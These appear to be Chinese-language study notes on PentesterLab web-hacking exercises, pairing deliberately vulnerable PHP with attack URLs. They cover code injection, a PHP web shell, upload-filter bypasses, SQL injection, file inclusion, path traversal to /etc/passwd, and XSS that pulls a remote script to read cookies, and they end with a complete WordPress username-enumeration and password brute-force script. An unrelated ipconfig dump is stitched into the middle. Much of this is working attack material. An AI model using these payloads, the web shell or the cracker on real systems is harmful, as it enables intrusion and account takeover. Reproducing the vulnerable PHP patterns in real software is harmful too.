Code injection
// 风险代码
// 用户来决定eval执行的代码内容
eval($_GET['name']);
// http://vulnerable/codeexec/example1.php?name=";system('ls');"
// http://vulnerable/codeexec/example1.php?name=".system('uname -a'); $dummy="
$order = $_GET['order'];
// http://vulnerable/codeexec/example2.php?order=id);}system('pwd');// 这个好像不行
echo preg_replace($_GET['pattern'], $_GET['new'], $_GET['base']);
// http://vulnerable/codeexec/example3.php?new=system('uname -a')&pattern=/lamer/e&base=Hello lamer
http://vulnerable/upload/images/evil.php?cmd=ls -lah
// 上传一个evil.php文件，内容如下：
<?php
system($_GET["cmd"]);
?>
// 风险代码
// 任何类型的文件都能上传
move_uploaded_file($_FILES['image']['tmp_name'],
'/var/www/upload/images/',
basename($_FILES['image']['name']));
// 就算只过滤了php类型，也能通过.htaccess和后缀命名绕过
// 方法1： 命名为.php3 , .php4, .php5再上传，如evil.php4
// 方法2： 命名为.blah再上传，以便根据apache规则，自动换成php来解析（因为不认识.blah），如evil.blah
// 方法3： 上传.htaccess文件
// 注： 可是怎么执行呢？
if(preg_match('/\.php$/', $file)) die;
# 用空格即%20尝试 http://vulnerable/sqli/example1.php?name=admin' or '1'='1 # 用tab即%09尝试 http://vulnerable/sqli/example2.php?name=admin'%09or%09'1'='1 # 就算把空格和tab都过滤了，也可以用注释尝试 http://vulnerable/sqli/example3.php?name=admin'/**/or/**/'1'='1 # 当然最简单的方法是 http://vulnerable/sqli/example4.php?id=2 or 1=1;-- # 只要以数字结尾就可以了 http://vulnerable/sqli/example6.php?id=2 or 1=1#123 # 不行就试试这样 http://vulnerable/sqli/example7.php?id=2%0A or 1=1#123 # 这种也行 http://vulnerable/sqli/example8.php?order=name` %23 # 这种也行 http://vulnerable/sqli/example9.php?order=IF(0,name,age) // 带风险的对应代码 $sql = "SELECT * FROM users WHERE name='" . $_GET["name"] . "'"; $sql = "SELECT * FROM users WHERE id=" . mysql_real_escape_string($_GET["id"]); $sql = "SELECT * FROM users ORDER BY `" . mysql_real_escape_string($_GET["order"]) . "`";
// 让用户来决定你包含的文件，那就存在文件包含漏洞 if($_GET['page']) include($_GET['page']); // 比如：http://vulnerable/fileincl/example1.php?page=https://pentesterlab.com/test_include.txt // test_include.txt 的内容是： <?php phpinfo(); ?>发现是否存在文件包含漏洞的技巧， http://vulnerable/fileincl/example1.php?page=notexist.php， 报错：
Warning: include(notexist.php): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening 'notexist.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7此外，还可以进一步尝试在
test_include.txt的末尾添加% 00（没有空格）来尝试
// 由用户指定程序来读取服务器上的哪个文件 <img width="20" src="dirtrav/example1.php?file=hacker.png"> $path = '/var/www/files/' . $_GET['file'];对于这种类型，就这样：
http://vulnerable/dirtrav/example1.php?file=hacker.png 返回图片 http://vulnerable/dirtrav/example1.php?file=../../../../../../../../../../../etc/passwd 显示出来了！
// 这也太暴露了 <img width="20" src="dirtrav/example2.php?file=/var/www/files/hacker.png">对于这种类型，就这样：
http://vulnerable/dirtrav/example2.php?file=/var/www/files/../../../../../etc/passwd
http://vulnerable/dirtrav/example3.php?file=../../../../../../../../../../../etc/passwd % 00 # 没有空格* 以上通过火狐add-on： chrome://restclient/content/restclient.html 测试
// 原始地址
http://vulnerable/xss/example1.php?name=hacker
// 弹出信息框
http://vulnerable/xss/example1.php?name=<script>alert(1);</script>
// 如果只过滤了小写，就试试大小写混合
http://vulnerable/xss/example2.php?name=<sCript>alert(1);</sCript>
// 鼠标移动到p，弹出
http://vulnerable/xss/example4.php?name=?name=Harry<p onmouseover=alert('黄峰喜欢吴佳旻')>把这段隐藏起来</p>
// 就算把script标签屏蔽了也能XSS
http://vulnerable/xss/example4.php?name=<div onmouseover='alert(1)' />
// 执行远程脚本
http://vulnerable/xss/example5.php?name=<script src="http://ha.ckers.org/xss.js"></script>
xss.js内容：
document.write ("This is remote text via xss.js located at ha.ckers.org " + document.cookie);
alert ("This is remote text via xss.js located at ha.ckers.org " + document.cookie);
// 利用ascii码输出字符，变量被直接通过GET进行了赋值
http://vulnerable/xss/example7.php?name=Harry';alert(String.fromCharCode(65, 97))//#sthash.TxtigEng.dpuf
// 危险的表单提交路径
http://vulnerable/xss/example8.php/"><script>alert(String.fromCharCode(65, 97))</script>#sthash.XuOVOUFq.dpuf
// #号也可以
http://vulnerable/xss/example9.php#Harry<script>alert('Potter')</script>
对应的带风险的源代码：
// 完全没处理
echo $_GET["name"];
// 只过滤了小写
$name = $_GET["name"];
$name = preg_replace("/<script>/", "", $name);
$name = preg_replace("/<\/script>/", "", $name);
echo $name;
$name = $_GET["name"];
$name = preg_replace("/<script>/i", "", $name);
$name = preg_replace("/<\/script>/i", "", $name);
echo $name;
// 只过滤了script
if(preg_match('/script/i', $_GET["name"])){
die('error');
}
// 把变量赋值放到页面输出的JS里了
<script>
var $a = "<?php echo $_GET["name"];?>";
</script>
// 就算用了实体，依然可以利用String.fromCharCode来XSS
<script>
var $a = "<?php echo htmlentities($_GET["name"]);?>";
</script>
// 表单提交如果用PHP_SELF为路径而没做处理，那么存在XSS
略
// 这种会让#号也可以XSS
document.write(location.hash.substring(1));
C:\Users\phx>ipconfig
Windows IP Configuration
Wireless LAN adapter Local Area Connection* 16:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Wireless LAN adapter Wi-Fi:
Connection-specific DNS Suffix . : lan
Link-local IPv6 Address . . . . . : fe80::f5aa:2f79:8e05:7c3%15
IPv4 Address. . . . . . . . . . . : 192.168.199.235
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.199.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter VirtualBox Host-Only Network:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::18e5:506d:b0be:d7c2%23
IPv4 Address. . . . . . . . . . . : 192.168.56.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Tunnel adapter isatap.{F7FD0539-F470-41FA-89CB-5AF453616BAE}:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter Teredo Tunneling Pseudo-Interface:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Tunnel adapter isatap.lan:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : lan
Tunnel adapter 6TO4 Adapter:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
访问： 192.168.56.101：
php wordpress.php http://www.test.com
set_time_limit(0);
$domain = $argv[1];
//获取用户名
for ($i=1; $i <= 10; $i++) {
$url = $domain."/?author=".$i;
$response = httprequest($url,0);
if ($response == 404) {
continue;
}
$pattern = "{<title>(.*) \|}";
preg_match($pattern, $response, $name);
$namearray[] = $name[1];
}
echo "共获取用户".count($namearray)."名用户\n";
echo "正在破解用户名与密码相同的用户：\n";
$crackname = crackpassword($namearray,"same");
$passwords = file("pass.txt");
echo "正在破解弱口令用户：\n";
if ($crackname) {
$namearray = array_diff($namearray,$crackname);
}
crackpassword($namearray,$passwords);
function crackpassword($namearray,$passwords){
global $domain;
$crackname = "";
foreach ($namearray as $name) {
$url = $domain."/wp-login.php";
if ($passwords == "same") {
$post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $name"."\n";
$crackname[] = $name;
}
}else{
foreach ($passwords as $pass) {
$post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
$pos = strpos(httprequest($url,$post),'div id="login_error"');
if ($pos === false) {
echo "$name $pass"."\n";
}
}
}
}
return $crackname;
}
function httprequest($url,$post){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
if($post){
curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
$output = curl_exec($ch);
$httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpcode == 404) {
return 404;
}else{
return $output;
}
}
